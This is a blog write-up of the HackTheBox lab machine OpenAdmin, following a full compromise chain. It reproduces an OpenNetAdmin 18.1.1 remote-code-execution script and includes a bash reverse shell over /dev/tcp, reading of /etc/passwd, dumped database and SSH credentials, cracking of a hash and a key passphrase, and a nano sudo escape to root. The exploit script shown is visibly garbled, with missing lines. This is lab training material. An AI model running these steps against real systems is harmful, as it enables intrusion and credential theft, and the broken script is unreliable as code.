HackTheBox – OpenAdmin Write-up

Hi everyone!

Today’s post is on OpenAdmin, an easy GNU/Linux machine on HackTheBox. However, many people and I feel that it is more a medium rating machine. OpenAdmin was launched on 5th January 2020. This machine focuses on OpenNetAdmin 18.1.1 CVE to gain access to the server, bad password habit for user account pivoting, file enumeration for 3rd user account, cracking SSH’s encrypted private key for a password, and nano GTFObin for privilege escalation. Read on if you are interested. Let’s get started!

Fig 1. OpenAdmin machine on HackTheBox

Tools required

Nmap analysis

As usual, we first start with enumerating all the available services/ports in the machine using Nmap.

└─$ IP=             
└─$ nmap -A -p1-9999 -v $IP        
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-15 23:25 +08
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:25
Completed NSE at 23:25, 0.00s elapsed
Initiating NSE at 23:25
Completed NSE at 23:25, 0.00s elapsed
Initiating NSE at 23:25
Completed NSE at 23:25, 0.00s elapsed
Initiating Ping Scan at 23:25
Scanning [2 ports]
Completed Ping Scan at 23:25, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:25
Completed Parallel DNS resolution of 1 host. at 23:25, 0.20s elapsed
Initiating Connect Scan at 23:25
Scanning [9999 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Increasing send delay for from 0 to 5 due to max_successful_tryno increase to 4
Connect Scan Timing: About 18.20% done; ETC: 23:28 (0:02:19 remaining)
Connect Scan Timing: About 33.30% done; ETC: 23:28 (0:02:02 remaining)
Connect Scan Timing: About 46.93% done; ETC: 23:28 (0:01:43 remaining)
Connect Scan Timing: About 62.99% done; ETC: 23:28 (0:01:11 remaining)
Connect Scan Timing: About 77.55% done; ETC: 23:28 (0:00:44 remaining)
Completed Connect Scan at 23:28, 199.08s elapsed (9999 total ports)
Initiating Service scan at 23:28
Scanning 2 services on
Completed Service scan at 23:28, 6.31s elapsed (2 services on 1 host)
NSE: Script scanning
Initiating NSE at 23:28
Completed NSE at 23:28, 4.36s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.59s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Nmap scan report for
Host is up (0.14s latency).
Not shown: 9997 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Initiating NSE at 23:28
Completed NSE at 23:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.24 seconds

We can see that SSH is available on port 22 and there is a website at port 80. Let’s go to the website and take a look.

Outlook of the website

The website shown to us is just an Apache document.

Fig 4a. Main page of

I tried to look at robots.txt on the website but it does not exist. Therefore, I have to do some directory fuzzing with Dirbuster.

└─$ dirbuster http://$IP -l /usr/share/wordlists/dirbuster/directory-list-1.0.txt -e pl,php,html,jsp,sh,txt                        
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /music/ - 200
Dir found: /icons/ - 403
File found: /music/index.html - 200
File found: /ona - 301
File found: /music/category.html - 200
File found: /music/playlist.html - 200
File found: /music/artist.html - 200
File found: /music/blog.html - 200
File found: /music/contact.html - 200
Dir found: /music/img/ - 200
Dir found: /music/img/icons/ - 200
Dir found: /ona/ - 200
Dir found: /music/img/concept/ - 200
Dir found: /music/img/premium/ - 200
Dir found: /music/js/ - 200
Dir found: /music/img/playlist/ - 200
File found: /index.html - 200
File found: /ona/index.php - 200

There are a lot of results but I chose to show only those that are interesting. We can see that there are /music/ folder, /icons/ folder, /ona/ folder, etc.

If we look at the music folder, some of the buttons/pages are working while some will just redirect to the same page.

I browsed around and nothing was interesting. I decided to look at /ona/ folder.

We can see on the top left yellow box that the current OpenNetAdmin (ona) is not the latest version. A quick google and we can see that version 18.1.1 is subjectable to ping injection and thus result in Remote Code Execution (RCE). You can read more about the technical part such as why the ws_ping() contains a vulnerability which the research was done by Nairuz Abulhul here.

Accessing web server via OpenNetAdmin v18.1.1 vulnerability

Just a quick GitHub search, I can found a working exploit by Amriunix: https://github.com/amriunix/ona-rce


# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2020-01-18
# Exploit Author: @amriunix (https://amriunix.com)
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
def helper(filename):
    print("\n[-] Usage: python3 " + filename + " [check | exploit] <URL>")
    print("\n[*] Options:")
    print("\t[+] check    : Verify if the target is vulnerable")
    print("\t[+] exploit  : Exploiting the target\n")
def check(target):
        req = requests.get(url = target, verify = False)
        print("[-] Warning: Error while connecting o the remote target")
    return('v18.1.1' in req.text)

def exploit(target, cmd):
    payload = {
        'xajaxargs[]':['tooltips','ip=>;echo \"BEGIN\";{} 2>&1;echo \"END\"'.format(cmd),'ping']
        req = requests.post(url = target, data = payload, verify = False)
        print("[-] Warning: Error while connecting o the remote target")
    data = req.text
    result = data[data.find('BEGIN')+6:data.find('END')-1]

if __name__ == '__main__':
    print('[*] OpenNetAdmin 18.1.1 - Remote Code Execution')
    filename = sys.argv[0]
    if len(sys.argv) != 3:
        print("[+] Connecting !")
        opt =  sys.argv[1].lower()
        target = sys.argv[2] + '/'
        if opt == 'check':
            if (check(target)):
                print("[+] The remote host is vulnerable!")
                print("[-] The remote host is NOT vulnerable!")
        elif opt == 'exploit':
            if (check(target)):
                print("[+] Connected Successfully!")
                print("[-] Warning: Error while connecting o the remote target")
            cmd = ''
                cmd = input('sh$ ').lower()
                if (cmd == 'exit'):
                print(exploit(target, cmd))
            print("[-] Warning: Command not found !")

As it is just Remote Code Execution (RCE), it is not a proper shell. It is good to get a shell as let’s say in HackTheBox’s battleground or actual hacking scenario, if the system gets patched, we won’t have access to it anymore. So having instance(s) of the shell allows us to still have access to the system. Therefore, I will be sending a reverse bash shell and having a Netcat listen to a port for an incoming connection from the webserver.

└─$ nc -lvnp 1337          
listening on [any] 1337 ...

Once our Netcat is set up, we can run the exploit script and send a reverse bash command to the webserver.

└─$ python3 ./ona_exploit.py exploit http://$IP
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
sh$ /bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'

Our Netcat should receive an incoming connection from the website server and a reverse shell is obtained.

└─$ nc -lvnp 1337          
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 53846
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell

If we try to access the /home directory, there isn’t one for the account we are in.

www-data@openadmin:/opt/ona/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@openadmin:/opt/ona/www$ cd $HOME
cd $HOME
bash: cd: HOME not set

Therefore, we need to find what other user account(s) we can pivot to that may have the user flag.

Pivot to another user account and get user flag

Obtaining lists of users

We can first obtain a list of users via the file /etc/passwd.

www-data@openadmin:/opt/ona/www$ cat /etc/passwd
cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We are interested in jimmy and joanna’s accounts as they have the $HOME directory which might have the user flag.

Pivoting to Jimmy’s account via bad password

The first thing that came to my mind is the MySQL database in the server. As the /ona/ folder has a login page at, there should be a database to verify the login credentials.

Fig 6a. OpenNetAdmin login page at

Just a quick google, I found out that it is located at ona/www/local/config/database_settings.inc.php. Therefore, we can search for it and print its content.

www-data@openadmin:/opt/ona/www$ ls
www-data@openadmin:/opt/ona/www$ cd local/config
cd local/config
www-data@openadmin:/opt/ona/www/local/config$ ls
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',


I tried to use it to access the MySQL database in the localhost, dump the User table, and crack the MD5 hashes. However, the credentials inside are useless. It only contains:


Therefore, I decided to try to use MySQL’s database’s password to login into Jimmy’s and Joanna’s accounts. To my surprise, it was actually Jimmy’s password. This shows an example of bad password practice as passwords are being reused.

└─$ ssh jimmy@$IP                                                                                                                                                                                                                      jimmy@'s password: n1nj4W4rri0R!

File enumeration for Joanna’s private SSH key

While searching through the files in the server, I noticed that there is a folder that only Jimmy or those in the Internal group can access. Joanna is in the Internal group as well.

immy@openadmin:~$ cd var/www
jimmy@openadmin:/var/www$ ls -al
total 16
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www
jimmy@openadmin:/var/www$ cd internal/
jimmy@openadmin:/var/www/internal$ ls
index.php  logout.php  main.php
jimmy@openadmin:/var/www/internal$ grep 'internal' /etc/group
jimmy:x:1000 joanna:x:1001

If we look at the running services using Netstat, we can see a strange listening service at port 52846.

jimmy@openadmin:/var/www/internal$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 *               LISTEN     
tcp        0      0    *               LISTEN     
tcp        0      0*               LISTEN     
tcp        0      0*               LISTEN     
tcp        0      0       ESTABLISHED
tcp        0    208       ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
udp        0      0 *

To verify if it is Joanna who is hosted the Internal website at that port, we can see the content of /etc/apache2/sites-enabled/internal.conf.

jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf

    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


Since we now know that it is indeed Joanna who hosted the Internal website, we can take a look at the files’ content.

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
jimmy@openadmin:/var/www/internal$ cat index.php
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>

We can see that index.php is a login page where username and password will be verified before going into main.php where the private SSH RSA of Joanna will be printed on the website. Based on index.php, we can see that the username is “jimmy” while the password is a SHA512 hash. We can use crackstation.net, an online cracker to crack it for us.

Fig 6b. Cracked SHA512 hash of Internal website’s password

Since we now know the password is Revealed, we can login to the website using cURL.

jimmy@openadmin:/var/www/internal$ curl -d "username=jimmy&password=Revealed" -X POST http://localhost:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

Cracking Joanna’s SSH RSA private key

We can first copy Joanna’s SSH RSA private key into a file called joanna_rsa before we locate ssh2john (installed with John The Ripper) to use it on the key before using John The Ripper to obtain the password for SSH. You can refer to this website on how to use it if you want.

└─$ locate *ssh2john*                                                                                                                                                                                                                  /usr/share/john/ssh2john.py

└─$ /usr/share/john/ssh2john.py ./joanna_rsa > joanna_rsa.john

└─$ john -wordlist=/usr/share/wordlists/rockyou.txt ./joanna_rsa.john                                                                                                                                                                    Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (./joanna_rsa)
1g 0:00:00:09 DONE (2021-07-16 21:12) 0.1040g/s 1492Kp/s 1492Kc/s 1492KC/sa6_123..*7¡Vamos!
Session completed

Now we know the password is bloodninjas, we can use the SSH RSA private key and the password to login. Before using the SSH RSA private key, we need to change the permission to read-only for the owner before it is usable using chmod 400.

└─$ chmod 400 joanna_rsa

└─$ ssh -i joanna_rsa joanna@$IP
Enter passphrase for key 'joanna_rsa': bloodninjas

Obtaining the user flag

joanna@openadmin:~$ ls
joanna@openadmin:~$ cat user.txt 

Obtaining root flag

As always, we will first use sudo -l command to see if there are any root privilege commands or tools the user can use.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Nano GTFObin privilege escalation

As Joanna can use nano for the specific /opt/priv file, we can look for nano in GTFObin on how to escalate privileges with it. You can see the usage here.

joanna@openadmin:~$ sudo /bin/nano /opt/priv

/opt/priv file will be opened in Nano text editor. We can then press CTRL+R then followed by CTRL+X. This will give us a prompt Command to execute:. We can then input the following commands to get the root shell.

Command to execute:  
Command to execute: reset; sh 1>&0 2>&0
Command to execute: reset; sh 1>&0 2>&0# 

We can try to run some commands to test it.

Command to execute: reset; sh 1>&0 2>&0# id                                                                                                                                                                                                  
uid=0(root) gid=0(root) groups=0(root)

Obtaining root flag

# ls /root                                                                                                            M-F New Buffer
# cat /root/root.txt

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂


Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.